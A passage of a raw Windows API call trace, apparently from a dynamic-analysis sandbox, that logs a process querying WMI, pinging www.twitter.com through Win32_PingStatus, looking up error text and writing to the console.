(This=0x5f6aef0) returned 0x3 [0161.718] WbemStatusCodeText:IUnknown:Release (This=0x5f6aef0) returned 0x2 [0161.718] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f6aef0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0161.718] SysStringByteLen (bstr="Not found ") returned 0x14 [0161.719] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0161.719] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0161.720] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.720] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0161.720] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0161.720] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.720] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0161.720] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0161.720] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0161.720] SafeArrayGetLBound (in: psa=0x5f6dc68, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0161.720] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.720] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.720] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.720] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.720] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.721] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.721] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.721] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.721] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.721] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.721] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.721] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.721] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.721] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.721] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.721] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.721] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.721] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.721] SysStringByteLen (bstr="__PATH") returned 0xc [0161.721] SysStringByteLen (bstr="__PATH") returned 0xc [0161.721] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279bdc*=0, plFlavor=0x2279be0*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2279bdc*=3, plFlavor=0x2279be0*=64) returned 0x0 [0161.722] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279c10*=0, plFlavor=0x2279c14*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2279c10*=8, plFlavor=0x2279c14*=64) returned 0x0 [0161.722] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.722] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.722] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279c68*=0, plFlavor=0x2279c6c*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279c68*=8, plFlavor=0x2279c6c*=64) returned 0x0 [0161.722] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279c90*=0, plFlavor=0x2279c94*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2279c90*=8, plFlavor=0x2279c94*=64) returned 0x0 [0161.722] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.722] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.722] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279ce8*=0, plFlavor=0x2279cec*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2279ce8*=8, plFlavor=0x2279cec*=64) returned 0x0 [0161.723] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.723] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.723] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279ec4*=0, plFlavor=0x2279ec8*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2279ec4*=3, plFlavor=0x2279ec8*=64) returned 0x0 [0161.723] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279ef8*=0, plFlavor=0x2279efc*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af20, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2279ef8*=8200, plFlavor=0x2279efc*=64) returned 0x0 [0161.724] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279f2c*=0, plFlavor=0x2279f30*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2279f2c*=8, plFlavor=0x2279f30*=64) returned 0x0 [0161.724] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.724] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.724] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279f78*=0, plFlavor=0x2279f7c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2279f78*=8, plFlavor=0x2279f7c*=64) returned 0x0 [0161.724] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.724] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.724] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279fc4*=0, plFlavor=0x2279fc8*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2279fc4*=8, plFlavor=0x2279fc8*=64) returned 0x0 [0161.724] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.724] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0161.724] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0161.724] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.725] IWbemClassObject:Get (in: This=0x5f765d8, wszName="WriteInformationStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227a1fc*=0, plFlavor=0x227a200*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227a1fc*=0, plFlavor=0x227a200*=0) returned 0x80041002 [0161.725] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0161.726] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f6af20) returned 0x0 [0161.726] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af20, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0161.726] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f6af20, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f6afd0) returned 0x0 [0161.726] WbemStatusCodeText:IUnknown:Release (This=0x5f6af20) returned 0x0 [0161.726] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f6afd0) returned 0x0 [0161.726] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0161.727] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6afd0) returned 0x3 [0161.727] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0161.727] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0161.727] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0161.727] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0161.727] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0161.727] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0161.727] WbemStatusCodeText:IUnknown:Release (This=0x5f6afd0) returned 0x2 [0161.727] WbemStatusCodeText:IUnknown:Release (This=0x5f6afd0) returned 0x1 [0161.727] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0161.727] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0161.727] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f6afd0) returned 0x0 [0161.727] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6afd0) returned 0x3 [0161.727] WbemStatusCodeText:IUnknown:Release (This=0x5f6afd0) returned 0x2 [0161.727] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f6afd0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0161.727] SysStringByteLen (bstr="Not found ") returned 0x14 [0161.729] GetConsoleOutputCP () returned 0x1b5 [0161.729] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0161.729] GetConsoleOutputCP () returned 0x1b5 [0161.729] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0161.729] GetConsoleOutputCP () returned 0x1b5 [0161.729] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0161.729] GetConsoleOutputCP () returned 0x1b5 [0161.730] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0161.730] GetConsoleOutputCP () returned 0x1b5 [0161.730] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0161.730] GetConsoleOutputCP () returned 0x1b5 [0161.730] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0161.730] GetConsoleOutputCP () returned 0x1b5 [0161.730] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0161.730] GetConsoleOutputCP () returned 0x1b5 [0161.730] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0161.730] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdebb0 | out: lpConsoleScreenBufferInfo=0x5bdebb0) returned 1 [0161.731] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeba8 | out: lpMode=0x5bdeba8) returned 1 [0161.731] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x227a78c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5bdeb9c, lpReserved=0x0 | out: lpBuffer=0x227a78c*, lpNumberOfCharsWritten=0x5bdeb9c*=0x4f) returned 1 [0161.731] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeba8 | out: lpMode=0x5bdeba8) returned 1 [0161.732] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x226e034*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5bdeb9c, lpReserved=0x0 | out: lpBuffer=0x226e034*, lpNumberOfCharsWritten=0x5bdeb9c*=0x2) returned 1 [0161.732] CoGetContextToken (in: pToken=0x5bdedac | out: pToken=0x5bdedac) returned 0x0 [0161.732] IEnumWbemClassObject:Clone (in: This=0x5958c0, ppEnum=0x5bdef64 | out: ppEnum=0x5bdef64*=0x595a50) returned 0x0 [0161.733] IUnknown:QueryInterface (in: This=0x595a50, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee20 | out: ppvObject=0x5bdee20*=0x595a54) returned 0x0 [0161.733] IClientSecurity:QueryBlanket (in: This=0x595a54, pProxy=0x595a50, pAuthnSvc=0x5bdee70, pAuthzSvc=0x5bdee6c, pServerPrincName=0x5bdee64, pAuthnLevel=0x5bdee68, pImpLevel=0x5bdee58, pAuthInfo=0x5bdee5c, pCapabilites=0x5bdee60 | out: pAuthnSvc=0x5bdee70*=0xa, pAuthzSvc=0x5bdee6c*=0x0, pServerPrincName=0x5bdee64, pAuthnLevel=0x5bdee68*=0x6, pImpLevel=0x5bdee58*=0x2, pAuthInfo=0x5bdee5c, pCapabilites=0x5bdee60*=0x1) returned 0x0 [0161.733] IUnknown:Release (This=0x595a54) returned 0x1 [0161.734] IUnknown:QueryInterface (in: This=0x595a50, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee14 | out: ppvObject=0x5bdee14*=0x5c187c) returned 0x0 [0161.734] IUnknown:QueryInterface (in: This=0x595a50, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee00 | out: ppvObject=0x5bdee00*=0x595a54) returned 0x0 [0161.734] IClientSecurity:SetBlanket (This=0x595a54, pProxy=0x595a50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0161.736] IUnknown:Release (This=0x595a54) returned 0x2 [0161.736] WbemLocator:IUnknown:Release (This=0x5c187c) returned 0x1 [0161.736] CoTaskMemFree (pv=0x5f6dc28) [0161.737] IUnknown:AddRef (This=0x595a50) returned 0x2 [0161.737] CoGetContextToken (in: pToken=0x5bde330 | out: pToken=0x5bde330) returned 0x0 [0161.737] CoGetContextToken (in: pToken=0x5bde744 | out: pToken=0x5bde744) returned 0x0 [0161.737] IUnknown:QueryInterface (in: This=0x595a50, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde6dc | out: ppvObject=0x5bde6dc*=0x5c1864) returned 0x0 [0161.737] WbemLocator:IRpcOptions:Query (in: This=0x5c1864, pPrx=0x5fa3760, dwProperty=2, pdwValue=0x5bde7d0 | out: pdwValue=0x5bde7d0) returned 0x80004002 [0161.737] WbemLocator:IUnknown:Release (This=0x5c1864) returned 0x2 [0161.738] CoGetContextToken (in: pToken=0x5bded14 | out: pToken=0x5bded14) returned 0x0 [0161.738] CoGetContextToken (in: pToken=0x5bdec74 | out: pToken=0x5bdec74) returned 0x0 [0161.738] IUnknown:QueryInterface (in: This=0x595a50, riid=0x5bded44*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdec10 | out: ppvObject=0x5bdec10*=0x595a50) returned 0x0 [0161.738] IUnknown:Release (This=0x595a50) returned 0x2 [0161.738] SysStringLen (param_1=0x0) returned 0x0 [0161.738] IEnumWbemClassObject:Reset (This=0x595a50) returned 0x0 [0161.739] CoTaskMemAlloc (cb=0x4) returned 0x5f6aed0 [0161.739] IEnumWbemClassObject:Next (in: This=0x595a50, lTimeout=-1, uCount=0x1, apObjects=0x5f6aed0, puReturned=0x227a870 | out: apObjects=0x5f6aed0*=0x5fc3b10, puReturned=0x227a870*=0x1) returned 0x0 [0161.740] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5bc | out: ppvObject=0x5bde5bc*=0x5fc3b10) returned 0x0 [0161.740] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde570 | out: ppvObject=0x5bde570*=0x0) returned 0x80004002 [0161.741] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde398 | out: ppvObject=0x5bde398*=0x0) returned 0x80004002 [0161.741] IUnknown:AddRef (This=0x5fc3b10) returned 0x3 [0161.741] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddecc | out: ppvObject=0x5bddecc*=0x0) returned 0x80004002 [0161.741] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bdde7c | out: ppvObject=0x5bdde7c*=0x0) returned 0x80004002 [0161.741] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdde88 | out: ppvObject=0x5bdde88*=0x5fc3b14) returned 0x0 [0161.741] IMarshal:GetUnmarshalClass (in: This=0x5fc3b14, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5bdde90 | out: pCid=0x5bdde90*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0161.741] IUnknown:Release (This=0x5fc3b14) returned 0x3 [0161.741] CoGetContextToken (in: pToken=0x5bddee8 | out: pToken=0x5bddee8) returned 0x0 [0161.741] CoGetContextToken (in: pToken=0x5bde2fc | out: pToken=0x5bde2fc) returned 0x0 [0161.741] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde37c | out: ppvObject=0x5bde37c*=0x0) returned 0x80004002 [0161.741] IUnknown:Release (This=0x5fc3b10) returned 0x2 [0161.741] CoGetContextToken (in: pToken=0x5bde8e4 | out: pToken=0x5bde8e4) returned 0x0 [0161.741] CoGetContextToken (in: pToken=0x5bde844 | out: pToken=0x5bde844) returned 0x0 [0161.741] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x5bde914*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5bde910 | out: ppvObject=0x5bde910*=0x5fc3b10) returned 0x0 [0161.741] IUnknown:AddRef (This=0x5fc3b10) returned 0x4 [0161.742] 